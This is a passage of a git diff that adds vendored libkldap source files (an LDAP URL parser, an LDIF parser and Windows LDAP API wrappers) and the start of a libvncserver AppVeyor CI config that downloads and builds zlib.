+ } +} + +LdapDN LdapUrl::dn() const +{ + QString tmp = path(); + if (tmp.startsWith(QLatin1Char('/'))) { + tmp = tmp.mid(1); + } + LdapDN tmpDN(tmp); + return tmpDN; +} + +QStringList LdapUrl::attributes() const +{ + return d->m_attributes; +} + +void LdapUrl::setAttributes(const QStringList &attributes) +{ + d->m_attributes = attributes; + updateQuery(); +} + +LdapUrl::Scope LdapUrl::scope() const +{ + return d->m_scope; +} + +void LdapUrl::setScope(Scope scope) +{ + d->m_scope = scope; + updateQuery(); +} + +QString LdapUrl::filter() const +{ + return d->m_filter; +} + +void LdapUrl::setFilter(const QString &filter) +{ + d->m_filter = filter; + updateQuery(); +} + +bool LdapUrl::hasExtension(const QString &key) const +{ + return d->m_extensions.contains(key); +} + +LdapUrl::Extension LdapUrl::extension(const QString &key) const +{ + QMap::const_iterator it; + + it = d->m_extensions.constFind(key); + if (it != d->m_extensions.constEnd()) { + return (*it); + } else { + Extension ext; + ext.value = QLatin1String(""); + ext.critical = false; + return ext; + } +} + +QString LdapUrl::extension(const QString &key, bool &critical) const +{ + Extension ext; + + ext = extension(key); + critical = ext.critical; + return ext.value; +} + +void LdapUrl::setExtension(const QString &key, const LdapUrl::Extension &ext) +{ + d->m_extensions[ key ] = ext; + updateQuery(); +} + +void LdapUrl::setExtension(const QString &key, const QString &value, bool critical) +{ + Extension ext; + ext.value = value; + ext.critical = critical; + setExtension(key, ext); +} + +void LdapUrl::setExtension(const QString &key, int value, bool critical) +{ + Extension ext; + ext.value = QString::number(value); + ext.critical = critical; + setExtension(key, ext); +} + +void LdapUrl::removeExtension(const QString &key) +{ + d->m_extensions.remove(key); + updateQuery(); +} + +void LdapUrl::updateQuery() +{ + QMap::const_iterator it; + QString q(QLatin1Char('?')); + + // set the attributes to query + if (!d->m_attributes.isEmpty()) { + q += d->m_attributes.join(QLatin1Char(',')); + } + + // set the scope + q += QLatin1Char('?'); + switch (d->m_scope) { + case Sub: + q += QStringLiteral("sub"); + break; + case One: + q += QStringLiteral("one"); + break; + case Base: + q += QStringLiteral("base"); + break; + } + + // set the filter + q += QLatin1Char('?'); + if (d->m_filter != QLatin1String("(objectClass=*)") && !d->m_filter.isEmpty()) { + q += QLatin1String(toPercentEncoding(d->m_filter)); + } + + // set the extensions + q += QLatin1Char('?'); + for (it = d->m_extensions.constBegin(); it != d->m_extensions.constEnd(); ++it) { + if (it.value().critical) { + q += QLatin1Char('!'); + } + q += it.key(); + if (!it.value().value.isEmpty()) { + q += QLatin1Char('=') + QLatin1String(toPercentEncoding(it.value().value)); + } + q += QLatin1Char(','); + } + while (q.endsWith(QLatin1Char('?')) || q.endsWith(QLatin1Char(','))) { + q.remove(q.length() - 1, 1); + } + + setQuery(q); + qCDebug(LDAP_LOG) << "LDAP URL updateQuery():" << toDisplayString(); +} + +void LdapUrl::parseQuery() +{ + Extension ext; + QStringList extensions; + QString q = query(QUrl::FullyEncoded); + // remove first ? + if (q.startsWith(QLatin1Char('?'))) { + q.remove(0, 1); + } + + // split into a list + QStringList url_items = q.split(QLatin1Char('?')); + + d->m_attributes.clear(); + d->m_scope = Base; + d->m_filter = QStringLiteral("(objectClass=*)"); + d->m_extensions.clear(); + + int i = 0; + QStringList::const_iterator end(url_items.constEnd()); + for (QStringList::const_iterator it = url_items.constBegin(); + it != end; ++it, i++) { + switch (i) { + case 0: + d->m_attributes = (*it).split(QLatin1Char(','), QString::SkipEmptyParts); + break; + case 1: + if ((*it) == QLatin1String("sub")) { + d->m_scope = Sub; + } else if ((*it) == QLatin1String("one")) { + d->m_scope = One; + } + break; + case 2: + d->m_filter = fromPercentEncoding((*it).toLatin1()); + break; + case 3: + extensions = (*it).split(QLatin1Char(','), QString::SkipEmptyParts); + break; + } + } + + QString name, value; + QStringList::const_iterator end2(extensions.constEnd()); + for (QStringList::const_iterator it = extensions.constBegin(); + it != end2; ++it) { + ext.critical = false; + name = fromPercentEncoding((*it).section(QLatin1Char('='), 0, 0).toLatin1()).toLower(); + value = fromPercentEncoding((*it).section(QLatin1Char('='), 1).toLatin1()); + if (name.startsWith(QLatin1Char('!'))) { + ext.critical = true; + name.remove(0, 1); + } + qCDebug(LDAP_LOG) << "LdapUrl extensions name=" << name << "value:" << value; + ext.value = value.replace(QLatin1String("%2"), QLatin1String(",")); + setExtension(name, ext); + } +} diff --git a/3rdparty/kldap/src/ldapurl.h b/3rdparty/kldap/src/ldapurl.h new file mode 100644 index 0000000..50dfde9 --- /dev/null +++ b/3rdparty/kldap/src/ldapurl.h @@ -0,0 +1,186 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPURL_H +#define KLDAP_LDAPURL_H + +#include + +#include + +#include "ldapdn.h" +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +/** + * @short A special url class for LDAP. + * + * LdapUrl implements an RFC 2255 compliant LDAP Url parser, with minimal + * differences. LDAP Urls implemented by this class has the following format: + * ldap[s]://[user[:password]@]hostname[:port]["/" [dn ["?" [attributes] + * ["?" [scope] ["?" [filter] ["?" extensions]]]]]] + */ +class KLDAP_EXPORT LdapUrl : public QUrl +{ +public: + + /** + * A class holding the extension name and state whether + * the extension is critical. + */ + typedef struct { + QString value; + bool critical; + } Extension; + + /** + * Describes the scope of the LDAP url. + */ + typedef enum { + Base, ///< Only the same level as the url. + One, ///< The level of the url and the one below. + Sub ///< All levels below the url's level. + } Scope; + + /** + * Constructs an empty LDAP url. + */ + LdapUrl(); + + /** + * Constructs a LDAP url from a KUrl @p url. + */ + explicit LdapUrl(const QUrl &url); + + /** + * Constructs a LDAP url from an other url. + */ + LdapUrl(const LdapUrl &other); + + /** + * Overwrites the values of the LDAP url with values + * from an @p other url. + */ + LdapUrl &operator=(const LdapUrl &other); + + /** + * Destroys the LDAP url. + */ + ~LdapUrl(); + + /** + * Sets the @p dn part of the LDAP url. + */ + void setDn(const LdapDN &dn); + + /** + * Returns the dn part of the LDAP url. + * This is equal to path() with the slash removed from the beginning. + */ + Q_REQUIRED_RESULT LdapDN dn() const; + + /** + * Sets the @p attributes part of the LDAP url. + */ + void setAttributes(const QStringList &attributes); + + /** + * Returns the attributes part of the LDAP url. + */ + Q_REQUIRED_RESULT QStringList attributes() const; + + /** + * Sets the scope part of the LDAP url. + */ + void setScope(Scope scope); + + /** + * Returns the scope part of the LDAP url. + */ + Q_REQUIRED_RESULT Scope scope() const; + + /** + * Sets the filter part of the LDAP url. + */ + void setFilter(const QString &filter); + + /** + * Returns the filter part of the LDAP url. + */ + Q_REQUIRED_RESULT QString filter() const; + + /** + * Returns whether the specified @p extension exists in the LDAP url. + */ + Q_REQUIRED_RESULT bool hasExtension(const QString &extension) const; + + /** + * Returns the specified @p extension. + */ + Q_REQUIRED_RESULT Extension extension(const QString &extension) const; + + /** + * Returns the specified @p extension. + */ + Q_REQUIRED_RESULT QString extension(const QString &extension, bool &critical) const; + + /** + * Sets the specified extension @p key with the value and criticality in @p extension. + */ + void setExtension(const QString &key, const Extension &extension); + + /** + * Sets the specified extension @p key with the @p value and criticality specified. + */ + void setExtension(const QString &key, const QString &value, bool critical = false); + + /** + * Sets the specified extension @p key with the @p value and criticality specified. + */ + void setExtension(const QString &key, int value, bool critical = false); + + /** + * Removes the specified @p extension. + */ + void removeExtension(const QString &extension); + + /** + * Updates the query component from the attributes, scope, filter and extensions. + */ + void updateQuery(); + + /** + * Parses the query argument of the URL and makes it available via the + * attributes(), extension(), filter() and scope() methods + */ + void parseQuery(); + +private: + class LdapUrlPrivate; + LdapUrlPrivate *const d; +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldif.cpp b/3rdparty/kldap/src/ldif.cpp new file mode 100644 index 0000000..63cdd3f --- /dev/null +++ b/3rdparty/kldap/src/ldif.cpp @@ -0,0 +1,452 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldif.h" + +#include "ldap_debug.h" + +using namespace KLDAP; + +class Q_DECL_HIDDEN Ldif::LdifPrivate +{ +public: + int mModType; + bool mDelOldRdn, mUrl; + LdapDN mDn; + QString mAttr, mNewRdn, mNewSuperior, mOid; + QByteArray mLdif, mValue; + EntryType mEntryType; + + bool mIsNewLine, mIsComment, mCritical; + ParseValue mLastParseValue; + uint mPos, mLineNumber; + QByteArray mLine; +}; + +Ldif::Ldif() : d(new LdifPrivate) +{ + startParsing(); +} + +Ldif::Ldif(const Ldif &that) : d(new LdifPrivate) +{ + *d = *that.d; + + startParsing(); +} + +Ldif &Ldif::operator=(const Ldif &that) +{ + if (this == &that) { + return *this; + } + + *d = *that.d; + + return *this; +} + +Ldif::~Ldif() +{ + delete d; +} + +QByteArray Ldif::assembleLine(const QString &fieldname, + const QByteArray &value, + uint linelen, bool url) +{ + bool safe = false; + bool isDn; + QByteArray result; + + if (url) { + result = fieldname.toUtf8() + ":< " + value; + } else { + isDn = fieldname.toLower() == QLatin1String("dn"); + //SAFE-INIT-CHAR + if (value.size() > 0 && value[0] > 0 && value[0] != '\n' && + value[0] != '\r' && value[0] != ':' && value[0] != '<') { + safe = true; + } + + //SAFE-CHAR + if (safe) { + for (int i = 1; i < value.size(); i++) { + //allow utf-8 in Distinguished Names + if ((isDn && value[i] == 0) || + (!isDn && value[i] <= 0) || + value[i] == '\r' || value[i] == '\n') { + safe = false; + break; + } + } + } + + if (value.isEmpty()) { + safe = true; + } + + if (safe) { + result = fieldname.toUtf8() + ": " + value; + } else { + result = fieldname.toUtf8() + ":: " + value.toBase64(); + } + + if (linelen > 0) { + int i = (uint)(fieldname.length() + 2) > linelen ? fieldname.length() + 2 : linelen; + while (i < result.length()) { + result.insert(i, "\n "); + i += linelen + 2; + } + } + } + return result; +} + +QByteArray Ldif::assembleLine(const QString &fieldname, const QString &value, + uint linelen, bool url) +{ + return assembleLine(fieldname, value.toUtf8(), linelen, url); +} + +bool Ldif::splitLine(const QByteArray &line, QString &fieldname, QByteArray &value) +{ + int position; + int linelen; + +// qCDebug(LDAP_LOG) << "line:" << QString::fromUtf8(line); + + position = line.indexOf(":"); + if (position == -1) { + // strange: we did not find a fieldname + fieldname = QLatin1String(""); + value = line.trimmed(); +// qCDebug(LDAP_LOG) << "value :" << value[0]; + return false; + } + + linelen = line.size(); + fieldname = QString::fromUtf8(line.left(position).trimmed()); + + if (linelen > (position + 1) && line[ position + 1 ] == ':') { + // String is BASE64 encoded -> decode it now. + if (linelen <= (position + 3)) { + value.resize(0); + return false; + } + value = QByteArray::fromBase64(line.mid(position + 3)); + return false; + } + + if (linelen > (position + 1) && line[ position + 1 ] == '<') { + // String is an URL. + if (linelen <= (position + 3)) { + value.resize(0); + return false; + } + value = QByteArray::fromBase64(line.mid(position + 3)); + return true; + } + + if (linelen <= (position + 2)) { + value.resize(0); + return false; + } + value = line.mid(position + 2); + return false; +} + +bool Ldif::splitControl(const QByteArray &line, QString &oid, bool &critical, + QByteArray &value) +{ + QString tmp; + critical = false; + bool url = splitLine(line, tmp, value); + + qCDebug(LDAP_LOG) << "value:" << QString::fromUtf8(value); + if (tmp.isEmpty()) { + tmp = QString::fromUtf8(value); + value.resize(0); + } + if (tmp.endsWith(QLatin1String("true"))) { + critical = true; + tmp.truncate(tmp.length() - 5); + } else if (tmp.endsWith(QLatin1String("false"))) { + critical = false; + tmp.truncate(tmp.length() - 6); + } + oid = tmp; + return url; +} + +Ldif::ParseValue Ldif::processLine() +{ + + if (d->mIsComment) { + return None; + } + + ParseValue retval = None; + if (d->mLastParseValue == EndEntry) { + d->mEntryType = Entry_None; + } + + d->mUrl = splitLine(d->mLine, d->mAttr, d->mValue); + + const QString attrLower = d->mAttr.toLower(); + + switch (d->mEntryType) { + case Entry_None: + if (attrLower == QLatin1String("version")) { + if (!d->mDn.isEmpty()) { + retval = Err; + } + } else if (attrLower == QLatin1String("dn")) { + qCDebug(LDAP_LOG) << "ldapentry dn:" << QString::fromUtf8(d->mValue); + d->mDn = LdapDN(QString::fromUtf8(d->mValue)); + d->mModType = Mod_None; + retval = NewEntry; + } else if (attrLower == QLatin1String("changetype")) { + if (d->mDn.isEmpty()) { + retval = Err; + } else { + QString tmpval = QString::fromUtf8(d->mValue); + qCDebug(LDAP_LOG) << "changetype:" << tmpval; + if (tmpval == QLatin1String("add")) { + d->mEntryType = Entry_Add; + } else if (tmpval == QLatin1String("delete")) { + d->mEntryType = Entry_Del; + } else if (tmpval == QLatin1String("modrdn") || tmpval == QLatin1String("moddn")) { + d->mNewRdn.clear(); + d->mNewSuperior.clear(); + d->mDelOldRdn = true; + d->mEntryType = Entry_Modrdn; + } else if (tmpval == QLatin1String("modify")) { + d->mEntryType = Entry_Mod; + } else { + retval = Err; + } + } + } else if (attrLower == QLatin1String("control")) { + d->mUrl = splitControl(d->mValue, d->mOid, d->mCritical, d->mValue); + retval = Control; + } else if (!d->mAttr.isEmpty() && d->mValue.size() > 0) { + d->mEntryType = Entry_Add; + retval = Item; + } + break; + case Entry_Add: + if (d->mAttr.isEmpty() && d->mValue.size() == 0) { + retval = EndEntry; + } else { + retval = Item; + } + break; + case Entry_Del: + if (d->mAttr.isEmpty() && d->mValue.size() == 0) { + retval = EndEntry; + } else { + retval = Err; + } + break; + case Entry_Mod: + if (d->mModType == Mod_None) { + qCDebug(LDAP_LOG) << "new modtype" << d->mAttr; + if (d->mAttr.isEmpty() && d->mValue.size() == 0) { + retval = EndEntry; + } else if (attrLower == QLatin1String("add")) { + d->mModType = Mod_Add; + } else if (attrLower == QLatin1String("replace")) { + d->mModType = Mod_Replace; + d->mAttr = QString::fromUtf8(d->mValue); + d->mValue = QByteArray(); + retval = Item; + } else if (attrLower == QLatin1String("delete")) { + d->mModType = Mod_Del; + d->mAttr = QString::fromUtf8(d->mValue); + d->mValue = QByteArray(); + retval = Item; + } else { + retval = Err; + } + } else { + if (d->mAttr.isEmpty()) { + if (QString::fromUtf8(d->mValue) == QLatin1String("-")) { + d->mModType = Mod_None; + } else if (d->mValue.size() == 0) { + retval = EndEntry; + } else { + retval = Err; + } + } else { + retval = Item; + } + } + break; + case Entry_Modrdn: + if (d->mAttr.isEmpty() && d->mValue.size() == 0) { + retval = EndEntry; + } else if (attrLower == QLatin1String("newrdn")) { + d->mNewRdn = QString::fromUtf8(d->mValue); + } else if (attrLower == QLatin1String("newsuperior")) { + d->mNewSuperior = QString::fromUtf8(d->mValue); + } else if (attrLower == QLatin1String("deleteoldrdn")) { + if (d->mValue.size() > 0 && d->mValue[0] == '0') { + d->mDelOldRdn = false; + } else if (d->mValue.size() > 0 && d->mValue[0] == '1') { + d->mDelOldRdn = true; + } else { + retval = Err; + } + } else { + retval = Err; + } + break; + } + return retval; +} + +Ldif::ParseValue Ldif::nextItem() +{ + ParseValue retval = None; + char c = 0; + + while (retval == None) { + if (d->mPos < (uint)d->mLdif.size()) { + c = d->mLdif.at(d->mPos); + d->mPos++; + if (d->mIsNewLine && c == '\r') { + continue; //handle \n\r line end + } + if (d->mIsNewLine && (c == ' ' || c == '\t')) { //line folding + d->mIsNewLine = false; + continue; + } + if (d->mIsNewLine) { + d->mIsNewLine = false; + retval = processLine(); + d->mLastParseValue = retval; + d->mLine.resize(0); + d->mIsComment = (c == '#'); + } + if (c == '\n' || c == '\r') { + d->mLineNumber++; + d->mIsNewLine = true; + continue; + } + } else { + retval = MoreData; + break; + } + + if (!d->mIsComment) { + d->mLine += c; + } + } + return retval; +} + +void Ldif::endLdif() +{ + QByteArray tmp(3, '\n'); + d->mLdif = tmp; + d->mPos = 0; +} + +void Ldif::startParsing() +{ + d->mPos = d->mLineNumber = 0; + d->mDelOldRdn = false; + d->mEntryType = Entry_None; + d->mModType = Mod_None; + d->mDn = LdapDN(); + d->mNewRdn.clear(); + d->mNewSuperior.clear(); + d->mLine = QByteArray(); + d->mIsNewLine = false; + d->mIsComment = false; + d->mLastParseValue = None; +} + +void Ldif::setLdif(const QByteArray &ldif) +{ + d->mLdif = ldif; + d->mPos = 0; +} + +Ldif::EntryType Ldif::entryType() const +{ + return d->mEntryType; +} + +int Ldif::modType() const +{ + return d->mModType; +} + +LdapDN Ldif::dn() const +{ + return d->mDn; +} + +QString Ldif::newRdn() const +{ + return d->mNewRdn; +} + +QString Ldif::newSuperior() const +{ + return d->mNewSuperior; +} + +bool Ldif::delOldRdn() const +{ + return d->mDelOldRdn; +} + +QString Ldif::attr() const +{ + return d->mAttr; +} + +QByteArray Ldif::value() const +{ + return d->mValue; +} + +bool Ldif::isUrl() const +{ + return d->mUrl; +} + +bool Ldif::isCritical() const +{ + return d->mCritical; +} + +QString Ldif::oid() const +{ + return d->mOid; +} + +uint Ldif::lineNumber() const +{ + return d->mLineNumber; +} diff --git a/3rdparty/kldap/src/ldif.h b/3rdparty/kldap/src/ldif.h new file mode 100644 index 0000000..a65f69c --- /dev/null +++ b/3rdparty/kldap/src/ldif.h @@ -0,0 +1,205 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDIF_H +#define KLDAP_LDIF_H + +#include +#include + +#include "ldapdn.h" +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +/** + * Ldif + * + * Ldif implements an RFC 2849 compliant Ldif parser. Ldif files are used to + * represent directory information on LDAP-based servers, or to describe a set + * of changes which are to be applied to a directory. + */ + +class KLDAP_EXPORT Ldif +{ +public: + + typedef enum { + None, NewEntry, EndEntry, Item, Control, Err, MoreData + } ParseValue; + + typedef enum { + Entry_None, Entry_Add, Entry_Del, Entry_Mod, Entry_Modrdn + } EntryType; + + typedef enum { + Mod_None, Mod_Add, Mod_Replace, Mod_Del + } ModType; + + Ldif(); + + Ldif(const Ldif &that); + Ldif &operator=(const Ldif &that); + + ~Ldif(); + + /** + * Assembles fieldname and value into a valid Ldif line, BASE64 encodes the + * value if necessary and optionally splits into more lines. + * @param fieldname The name of the entry. + * @param value The value of the entry. + * @param linelen Maximum length of the lines in the result. + * @param url If true, encode value as url ( use :< ). + */ + Q_REQUIRED_RESULT static QByteArray assembleLine(const QString &fieldname, + const QByteArray &value, uint linelen = 0, + bool url = false); + /** + * This is the same as the above function, the only difference that + * this accepts QString as the value. + */ + Q_REQUIRED_RESULT static QByteArray assembleLine(const QString &fieldname, + const QString &value, uint linelen = 0, + bool url = false); + + /** + * Splits one line from an Ldif file to attribute and value components. + * @return true if value is an URL, false otherwise + */ + Q_REQUIRED_RESULT static bool splitLine(const QByteArray &line, QString &fieldname, + QByteArray &value); + + /** + * Splits a control specification (without the "control:" directive) + * @param line is the control directive + * @param oid will contain the OID + * @param critical will contain the criticality of control + * @param value is the control value + */ + Q_REQUIRED_RESULT static bool splitControl(const QByteArray &line, QString &oid, + bool &critical, QByteArray &value); + + /** + * Starts the parsing of a new Ldif + */ + void startParsing(); + + /** + * Process one Ldif line + */ + Q_REQUIRED_RESULT ParseValue processLine(); + + /** + * Process the Ldif until a complete item can be returned + * @return NewEntry if a new DN encountered, Item if a new item returned, + * Err if the Ldif contains error, EndEntry if the parser reached the end + * of the current entry and MoreData if the parser encountered the end of + * the current chunk of the Ldif. + * + * If you want to finish the parsing after receiving MoreData, then call + * endLdif(), so the parser can safely flush the current entry. + */ + Q_REQUIRED_RESULT ParseValue nextItem(); + + /** + * Sets a chunk of Ldif. Call before startParsing(), or if nextItem() + * returned MoreData. + * @param ldif the Ldif chunk to set + */ + void setLdif(const QByteArray &ldif); + + /** + * Indicates the end of the Ldif file/stream. Call if nextItem() returned + * MoreData, but actually you don't have more data. + */ + void endLdif(); + + /** + * Returns the requested LDAP operation extracted from the current entry. + */ + Q_REQUIRED_RESULT EntryType entryType() const; + + /** + * Returns the LDAP modify request type if entryType() returned Entry_Mod. + */ + Q_REQUIRED_RESULT int modType() const; + + /** + * Returns the Distinguished Name of the current entry. + */ + Q_REQUIRED_RESULT LdapDN dn() const; + + /** + * Returns the new Relative Distinguished Name if modType() returned + * Entry_Modrdn. + */ + Q_REQUIRED_RESULT QString newRdn() const; + + /** + * Returns the new parent of the entry if modType() returned Entry_Modrdn. + */ + QString newSuperior() const; + + /** + * Returns if the delete of the old RDN is required. + */ + Q_REQUIRED_RESULT bool delOldRdn() const; + + /** + * Returns the attribute name. + */ + Q_REQUIRED_RESULT QString attr() const; + + /** + * Returns the attribute value. + */ + Q_REQUIRED_RESULT QByteArray value() const; + + /** + * Returns if val() is an url + */ + Q_REQUIRED_RESULT bool isUrl() const; + + /** + * Returns the criticality level when modType() returned Control. + */ + Q_REQUIRED_RESULT bool isCritical() const; + + /** + * Returns the OID when modType() returned Control. + */ + Q_REQUIRED_RESULT QString oid() const; + + /** + * Returns the line number which the parser processes. + */ + Q_REQUIRED_RESULT uint lineNumber() const; + +private: + class LdifPrivate; + LdifPrivate *const d; +}; + +} + +#endif diff --git a/3rdparty/kldap/src/w32-ldap-help.h b/3rdparty/kldap/src/w32-ldap-help.h new file mode 100644 index 0000000..3f04447 --- /dev/null +++ b/3rdparty/kldap/src/w32-ldap-help.h @@ -0,0 +1,132 @@ +//krazy:excludeall=style +/* w32-ldap-help.h - Map utf8 based API into a wchar_t API. + + Copyright (c) 2010 Andre Heinecke + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. + */ + +#ifndef W32_LDAP_HELP_H +#define W32_LDAP_HELP_H + +#include +#ifdef UNICODE +# undef UNICODE +# include +# include +# define UNICODE +#else +# include +# include +#endif // UNICODE + +/* + * From the openldap manpage: + * ber_len_t is an unsigned integer of at least 32 bits used to represent + * a length. It is commonly equivalent to a size_t. ber_slen_t is the + * signed variant to ber_len_t. + */ +typedef ULONG ber_len_t; + +#ifndef timeval +#define timeval l_timeval +#endif + +/* Redirect used ldap functions to functions with win_ prefix + * to further redirect those depending on the Windows Flavour */ +//#define ldap_err2string(a) win_ldap_err2string(a) +#define ldap_init(a,b) win_ldap_init(a,b) +#define ldap_sasl_bind(a, b, c, d, e, f, g) \ + win_ldap_sasl_bind(a, b, c, d, e, f, g) +#define ldap_sasl_bind_s(a, b, c, d, e, f, g) \ + win_ldap_sasl_bind_s(a, b, c, d, e, f, g) +#define ldap_parse_sasl_bind_result ( a, b, c, d, e ) \ + win_ldap_parse_sasl_bind_result((a), (b), (c), (d), (e)) +#define ldap_get_dn(a, b) win_ldap_get_dn(a,b) +#define ldap_memfree(a) win_ldap_memfree(a) +#define ldap_mods_free(a, b) win_ldap_mods_free(a, b) +#define ldap_first_attribute(a, b, c) \ + win_ldap_first_attribute(a, b, c) +#define ldap_get_values_len(a, b, c) \ + win_ldap_get_values_len(a, b, c) +#define ldap_next_attribute(a, b, c ) \ + win_ldap_next_attribute(a, b, c) +#define ldap_parse_result(a, b, c, d, e, f, g, h) \ + win_ldap_parse_result(a, b, c, d, e, f, g, h) +#define ldap_parse_extended_result(a, b, c, d, e) \ + win_ldap_parse_extended_result(a, b, c, d, e) +#define ldap_add_ext(a, b, c, d, e, f) \ + win_ldap_add_ext((a), (b), (c), (d), (e), (f)) +#define ldap_add_ext_s(a, b, c, d, e) \ + win_ldap_add_ext_s((a), (b), (c), (d), (e)) +# define ldap_compare_ext_s(a, b, c, d, e, f) \ + win_ldap_compare_ext_s((a), (b), (c), (d), (e), (f)) +# define ldap_compare_ext(a, b, c, d, e, f, g) \ + win_ldap_compare_ext((a), (b), (c), (d), (e), (f), (g)) +# define ldap_modify_ext_s(a, b, c, d, e ) \ + win_ldap_modify_ext_s((a), (b), (c), (d), (e)) +# define ldap_search_ext(a, b, c, d, e, f, g, h, i, j, k) \ + win_ldap_search_ext((a), (b), (c), (d), (e), (f), (g), (h), (i), (j), (k)) +#define ldap_rename_ext( a, b, c, d, e, f, g, h ) \ + win_ldap_rename_ext((a), (b), (c), (d), (e), (f), (g), (h) ) +#define ldap_rename( a, b, c, d, e, f, g, h ) \ + ldap_rename_ext((a), (b), (c), (d), (e), (f), (g), (h) ) +#define ldap_delete_ext(a, b, c, d, e ) \ + win_ldap_delete_ext((a), (b), (c), (d), (e) ) +#define ldap_modify_ext(a, b, c, d, e, f ) \ + win_ldap_modify_ext( (a), (b), (c), (d), (e), (f)) +#define ldap_abandon_ext(a, b, c, d) \ + win_ldap_abandon_ext((a), (b), (c), (d)) +#define ldap_controls_free(a) win_ldap_controls_free(a) + +// Use the functions that are available on the platform +// or redirect to wrapper functions + +/* Windows offers ASCII variants of most LDAP functions + * we only have to ensure that those are used */ +# define LDAPControl LDAPControlA +# define LDAPMod LDAPModA +# define win_ldap_init(a,b) ldap_initA ((a), (b)) +# define win_ldap_simple_bind_s(a,b,c) ldap_simple_bind_sA ((a), (b), (c)) +# define win_ldap_sasl_bind(a, b, c, d, e, f, g) \ + ldap_sasl_bindA(a, b, c, d, e, f, g) +# define win_ldap_sasl_bind_s(a, b, c, d, e, f, g) \ + ldap_sasl_bind_sA(a, b, c, d, e, f, g) +# define win_ldap_search_st(a,b,c,d,e,f,g,h) \ + ldap_search_stA ((a), (b), (c), (d), (e), (f), (g), (h)) +# define win_ldap_search_ext(a, b, c, d, e, f, g, h, i, j, k) \ + my_win_ldap_search_ext((a), (b), (c), (d), (e), (f), (g), (h), (i), (j), (k)) +# define win_ldap_get_dn(a, b) ldap_get_dnA((a), (b)) +# define win_ldap_first_attribute(a,b,c) ldap_first_attributeA ((a), (b), (c)) +# define win_ldap_next_attribute(a,b,c) ldap_next_attributeA ((a), (b), (c)) +# define win_ldap_get_values_len(a,b,c) ldap_get_values_lenA ((a), (b), (c)) +# define win_ldap_memfree(a) ldap_memfreeA ((a)) +# define win_ldap_err2string(a) ldap_err2stringA((a)) +# define win_ldap_controls_free(a) ldap_controls_freeA((a)) +# define win_ldap_mods_free(a, b) ldap_mods_freeA((a), (b)) +# define win_ldap_add_ext(a, b, c, d, e, f) \ + ldap_add_extA((a), (b), (c), (d), (e), ((ulong*)f)) +# define win_ldap_add_ext_s(a, b, c, d, e) \ + ldap_add_ext_sA((a), (b), (c), (d), (e)) +# define win_ldap_parse_extended_result(a, b, c, d, e ) \ + ldap_parse_extended_resultA((*a), (b), (c), (d), (e)) +# define win_ldap_parse_result(a, b, c, d, e, f, g, h ) \ + ldap_parse_resultA((a), (b), ((ulong *)c), (d), (e), (f), (g), (h)) +# define win_ldap_modify_ext_s(a, b, c, d, e ) \ + ldap_modify_ext_sW((a), (b), (c), (d), (e)) +# define win_ldap_compare_ext_s(a, b, c, d, e, f ) \ + ldap_compare_ext_sA((a), (b), (c), (d), (e), (f)) +#endif /*W32_LDAP_HELP_H*/ diff --git a/3rdparty/libvncserver/.appveyor.yml b/3rdparty/libvncserver/.appveyor.yml new file mode 100644 index 0000000..b176d7c --- /dev/null +++ b/3rdparty/libvncserver/.appveyor.yml @@ -0,0 +1,60 @@ + +environment: + matrix: + - APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2015 + DEVENV_EXE: C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\Common7\IDE\devenv.exe + VSDEVCMD_BAT: C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\Common7\Tools\VsDevCmd.bat + - APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2017 + DEVENV_EXE: C:\"Program Files (x86)"\"Microsoft Visual Studio"\2017\Community\Common7\IDE\devenv.exe + VSDEVCMD_BAT: C:\"Program Files (x86)"\"Microsoft Visual Studio"\2017\Community\Common7\Tools\VsDevCmd.bat + +install: + - if not exist deps mkdir deps + - cd deps + # zlib + - curl -fsSL -o zlib.tar.gz https://github.com/madler/zlib/archive/v1.2.8.tar.gz + - 7z x zlib.tar.gz -so | 7z x -si -ttar > nul + - move zlib-1.2.8 zlib + - cd zlib + - cmake . + - cmake --build . + 